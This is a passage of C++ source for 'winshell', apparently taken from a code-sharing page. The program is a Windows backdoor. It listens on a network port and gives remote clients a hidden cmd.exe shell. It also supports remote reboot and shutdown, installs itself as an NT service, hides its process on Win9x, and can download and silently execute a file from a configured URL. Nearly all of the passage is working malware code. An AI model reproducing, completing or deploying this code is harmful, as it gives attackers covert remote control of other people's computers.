📄 winshell.cpp
字号:
}
// show winshell path
case 'p': {
char svExeFile[MAX_PATH];
strcpy(svExeFile,"\n\r");
strcat(svExeFile,ExeFile);
send(wsh,svExeFile,strlen(svExeFile),0);
break;
}
// reboot
case 'b': {
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
if(Boot(REBOOT))
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else {
closesocket(wsh);
ExitThread(0);
}
break;
}
// shutdown
case 'd': {
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
if(Boot(SHUTDOWN))
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else {
closesocket(wsh);
ExitThread(0);
}
break;
}
// enter cmd shell
case 's': {
CmdShell(wsh);
closesocket(wsh);
ExitThread(0);
break;
}
// exit
case 'x': {
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
CloseIt(wsh);
break;
}
// quit
case 'q': {
send(wsh,msg_ws_end,strlen(msg_ws_end),0);
closesocket(wsh);
WSACleanup();
exit(1);
break;
}
}
}
// prompt message
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
}
}
return;
}
// create pipe routine
struct SESSION_DATA* CreateSession(void)
{
struct SESSION_DATA* Session;
SECURITY_ATTRIBUTES SA;
HANDLE ShellStdinPipe = NULL;
HANDLE ShellStdoutPipe = NULL;
Session=(struct SESSION_DATA*)malloc(sizeof(struct SESSION_DATA));
Session->ReadPipeHandle = NULL;
Session->WritePipeHandle = NULL;
SA.nLength = sizeof(SA);
SA.lpSecurityDescriptor = NULL;
SA.bInheritHandle = TRUE;
if(!CreatePipe(&Session->ReadPipeHandle, &ShellStdoutPipe,&SA, 0)) {
if(Session->ReadPipeHandle != NULL) CloseHandle(Session->ReadPipeHandle);
if(ShellStdoutPipe != NULL) CloseHandle(ShellStdoutPipe);
free(Session);
return NULL;
}
if(!CreatePipe(&ShellStdinPipe, &Session->WritePipeHandle,&SA, 0)) {
if(Session->ReadPipeHandle != NULL) CloseHandle(Session->ReadPipeHandle);
if(ShellStdoutPipe != NULL) CloseHandle(ShellStdoutPipe);
if(Session->WritePipeHandle != NULL) CloseHandle(Session->WritePipeHandle);
if(ShellStdinPipe != NULL) CloseHandle(ShellStdinPipe);
free(Session);
return NULL;
}
Session->ProcessHandle = StartShell(ShellStdinPipe, ShellStdoutPipe);
CloseHandle(ShellStdinPipe);
CloseHandle(ShellStdoutPipe);
return(Session);
}
// handle cmdshell routine
int CmdShell(SOCKET sock)
{
SECURITY_ATTRIBUTES SecurityAttributes;
DWORD ThreadId;
HANDLE HandleArray[3];
int i;
SOCKET client = (SOCKET)sock;
struct SESSION_DATA* Session;
Session=(struct SESSION_DATA*)malloc(sizeof(struct SESSION_DATA));
Session= CreateSession();
SecurityAttributes.nLength = sizeof(SecurityAttributes);
SecurityAttributes.lpSecurityDescriptor = NULL;
SecurityAttributes.bInheritHandle = FALSE;
Session->ClientSocket = client;
Session->ReadShellThreadHandle = CreateThread(&SecurityAttributes, 0, (LPTHREAD_START_ROUTINE) SessionReadShellThreadFn, (LPVOID) Session, 0, &ThreadId);
if (Session->ReadShellThreadHandle == NULL) {
Session->ClientSocket = INVALID_SOCKET;
return 1;
}
Session->WriteShellThreadHandle = CreateThread(&SecurityAttributes, 0, (LPTHREAD_START_ROUTINE) SessionWriteShellThreadFn, (LPVOID) Session, 0, &ThreadId);
if (Session->WriteShellThreadHandle == NULL) {
Session->ClientSocket = INVALID_SOCKET;
TerminateThread(Session->WriteShellThreadHandle, 0);
return 1;
}
HandleArray[0] = Session->ReadShellThreadHandle;
HandleArray[1] = Session->WriteShellThreadHandle;
HandleArray[2] = Session->ProcessHandle;
i = WaitForMultipleObjects(3, HandleArray, FALSE, 0xffffffff);
switch (i) {
case WAIT_OBJECT_0 + 0:
TerminateThread(Session->WriteShellThreadHandle, 0);
TerminateProcess(Session->ProcessHandle, 1);
break;
case WAIT_OBJECT_0 + 1:
TerminateThread(Session->ReadShellThreadHandle, 0);
TerminateProcess(Session->ProcessHandle, 1);
break;
case WAIT_OBJECT_0 + 2:
TerminateThread(Session->WriteShellThreadHandle, 0);
TerminateThread(Session->ReadShellThreadHandle, 0);
break;
default:
break;
}
closesocket(Session->ClientSocket);
DisconnectNamedPipe(Session->ReadPipeHandle);
CloseHandle(Session->ReadPipeHandle);
DisconnectNamedPipe(Session->WritePipeHandle);
CloseHandle(Session->WritePipeHandle);
CloseHandle(Session->ReadShellThreadHandle);
CloseHandle(Session->WriteShellThreadHandle);
CloseHandle(Session->ProcessHandle);
if(Session != NULL) free(Session);
nUser--;
return 0;
}
// start cmdshell routine
static HANDLE StartShell(HANDLE ShellStdinPipeHandle, HANDLE ShellStdoutPipeHandle)
{
PROCESS_INFORMATION ProcessInformation;
STARTUPINFO si;
HANDLE ProcessHandle = NULL;
char CmdShell[12];
si.cb = sizeof(STARTUPINFO);
si.lpReserved = NULL;
si.lpTitle = NULL;
si.lpDesktop = NULL;
si.dwX = si.dwY = si.dwXSize = si.dwYSize = 0L;
si.wShowWindow = SW_HIDE;
si.lpReserved2 = NULL;
si.cbReserved2 = 0;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = ShellStdinPipeHandle;
si.hStdOutput = ShellStdoutPipeHandle;
DuplicateHandle(GetCurrentProcess(), ShellStdoutPipeHandle, GetCurrentProcess(), &si.hStdError, DUPLICATE_SAME_ACCESS, TRUE, 0);
if(OsIsNt)
// if nt
strcpy(CmdShell,"cmd.exe");
else
// if win9x
strcpy(CmdShell,"command.com");
if (CreateProcess(NULL, CmdShell, NULL, NULL, TRUE, 0, NULL, NULL, &si, &ProcessInformation)) {
ProcessHandle = ProcessInformation.hProcess;
CloseHandle(ProcessInformation.hThread);
}
return(ProcessHandle);
}
// handle piperead routine
static VOID SessionReadShellThreadFn(LPVOID Parameter)
{
struct SESSION_DATA* Session;
BYTE Buffer[BUF_SOCK];
BYTE Buffer2[BUF_SOCK+30];
DWORD BytesRead;
Session=(struct SESSION_DATA*)malloc(sizeof(struct SESSION_DATA));
memcpy(Session,Parameter,sizeof(struct SESSION_DATA));
while (PeekNamedPipe(Session->ReadPipeHandle, Buffer, sizeof(Buffer), &BytesRead, NULL, NULL)) {
DWORD BufferCnt, BytesToWrite;
BYTE PrevChar = 0;
if (BytesRead > 0)
ReadFile(Session->ReadPipeHandle, Buffer, sizeof(Buffer), &BytesRead, NULL);
else {
Sleep(50);
continue;
}
for (BufferCnt = 0, BytesToWrite = 0; BufferCnt < BytesRead; BufferCnt++) {
if (Buffer[BufferCnt] == '\n' && PrevChar != '\r')
Buffer2[BytesToWrite++] = '\r';
PrevChar = Buffer2[BytesToWrite++] = Buffer[BufferCnt];
}
if (send(Session->ClientSocket, (char*)Buffer2, BytesToWrite, 0) <= 0)
break;
}
if(GetLastError()!= ERROR_BROKEN_PIPE) {;}
free(Session);
ExitThread(0);
}
// handle pipewrite routine
static VOID SessionWriteShellThreadFn(LPVOID Parameter)
{
struct SESSION_DATA* Session;
BYTE RecvBuffer[1];
BYTE Buffer[BUF_SOCK];
BYTE EchoBuffer[5];
DWORD BytesWritten;
DWORD BufferCnt, EchoCnt;
DWORD TossCnt = 0;
BOOL PrevWasFF = FALSE;
Session=(struct SESSION_DATA*)malloc(sizeof(struct SESSION_DATA));
memcpy(Session,Parameter,sizeof(struct SESSION_DATA));
BufferCnt = 0;
while (recv(Session->ClientSocket, (char*)RecvBuffer, sizeof(RecvBuffer), 0) != INVALID_SOCKET) {
EchoCnt = 0;
Buffer[BufferCnt++] = EchoBuffer[EchoCnt++] = RecvBuffer[0];
if (RecvBuffer[0] == '\r')
Buffer[BufferCnt++] = EchoBuffer[EchoCnt++] = '\n';
if (strnicmp((char*)Buffer, "exit\r\n", 6) == 0) {
free(Session);
ExitThread(0);
}
if (RecvBuffer[0] == '\n' || RecvBuffer[0] == '\r') {
if (! WriteFile(Session->WritePipeHandle, Buffer, BufferCnt, &BytesWritten, NULL)) break;
BufferCnt = 0;
}
}
free(Session);
ExitThread(0);
}
// check selfstart mode
int StartFromService(void)
{
typedef struct
{
DWORD ExitStatus;
DWORD PebBaseAddress;
DWORD AffinityMask;
DWORD BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
PROCNTQSIP NtQueryInformationProcess;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
HANDLE hProcess;
PROCESS_BASIC_INFORMATION pbi;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
if(NULL == hInst ) return 0;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
if (!NtQueryInformationProcess) return 0;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
if(!hProcess) return 0;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
CloseHandle(hProcess);
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
if(hProcess==NULL) return 0;
HMODULE hMod;
char procName[255];
unsigned long cbNeeded;
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
CloseHandle(hProcess);
if(strstr(procName,"services")) return 1; // start from ntservice
return 0; // start from application
}
// main routine
int StartWinShell(LPSTR lpCmdLine)
{
SOCKET wsl;
int port=0;
struct sockaddr_in door;
if(wscfg.ws_autoins) Install();
port=atoi(lpCmdLine);
if(port<=0) port=wscfg.ws_port;
WSADATA data;
if(WSAStartup(MAKEWORD(1,1),&data)!=0) return 1;
if((wsl = socket(PF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) return 1;
door.sin_family = PF_INET;
door.sin_addr.s_addr = htonl(INADDR_ANY);
door.sin_port = htons(port);
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
closesocket(wsl);
return 1;
}
if(listen(wsl, SOMAXCONN) == INVALID_SOCKET) {
closesocket(wsl);
return 1;
}
WinShell(wsl);
WSACleanup();
return 0;
}
// start from NT service
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
{
DWORD status = 0;
DWORD specificError = 0xfffffff;
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwServiceSpecificExitCode = 0;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
if (hServiceStatusHandle==0) return;
status = GetLastError();
if (status!=NO_ERROR)
{
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
serviceStatus.dwWin32ExitCode = status;
serviceStatus.dwServiceSpecificExitCode = specificError;
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
return;
}
serviceStatus.dwCurrentState = SERVICE_RUNNING;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWinShell("");
}
// handle ntservice events like start or stop
VOID WINAPI NTServiceHandler(DWORD fdwControl)
{
switch(fdwControl)
{
case SERVICE_CONTROL_STOP:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
{
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
}
return;
case SERVICE_CONTROL_PAUSE:
serviceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
serviceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
};
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
}
// standard application main
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{
// get OS version
OsIsNt=GetOsVer();
GetModuleFileName(NULL,ExeFile,MAX_PATH);
// Install from cmdline
if(strpbrk(lpCmdLine,"iI")) Install();
// if need, to download file and execute it
if(wscfg.ws_downexe) {
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
WinExec(wscfg.ws_filenam,SW_HIDE);
}
if(!OsIsNt) {
// if win9x, hide process and start as application
HideProc();
StartWinShell(lpCmdLine);
}
else
if(StartFromService())
// start as ntservice
StartServiceCtrlDispatcher(DispatchTable);
else
// start as application
StartWinShell(lpCmdLine);
return 0;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -